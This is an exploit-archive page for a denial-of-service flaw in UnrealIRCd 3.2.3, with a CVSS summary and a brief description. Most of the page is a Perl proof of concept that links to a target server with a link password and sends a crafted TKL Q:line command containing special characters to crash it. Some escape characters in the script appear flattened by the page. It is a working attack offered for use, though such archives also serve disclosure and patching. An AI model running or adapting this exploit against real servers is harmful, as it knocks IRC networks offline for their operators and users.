UnrealIRCd3.2.3 Server-Link Denial of Service

2006.03.10
Risk: Medium
Local: Yes
Remote: Yes
CWE: N/A


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

-Description- UnrealIRCd 3.2.3 is vulnerable to strings sent from a linked server for adding/removing Q:lines with special characters. Could be sent through services. Fixed as of version 3.2.4 -PoC- #!/usr/bin/perl # Denial of Service exploit for UnrealIRCd 3.2.3 # Successfully tested on both Win32 and Linux versions. # admin (at) redneck.servebeer (dot) com [email concealed] (Brandon Milner) use IO::Socket; print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneckn"); ################# # Variables # ################# $spass = ("LinkPass"); # Link Password $lserver = ("your.server.name"); # Local Server name $rserver = ("remote.server.name"); # Link Server $rport = (6667); # Link Port $snum = (6); # Server numeric ################# # Create socket # ################# my $sock = new IO::Socket::INET ( PeerAddr => $rserver, PeerPort => $rport, Proto => 'tcp', ); ################# # Connect # ################# die "Couldn't create socket to $rserver / $rport!n" unless $sock; sleep 5; print ("connected to server"); print $sock ("PASS $spassn"); print ("PASS $spassn"); print $sock ("SERVER $lserver 1 $snum :PoC by Redneckn"); print ("SERVER $lserver 1 $snum :PoC by Redneckn"); sleep 5; print $sock ("TKL - qx08Q *x08PoCn"); print ("TKL - qx08Q *x08PoCn"); sleep 5;


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top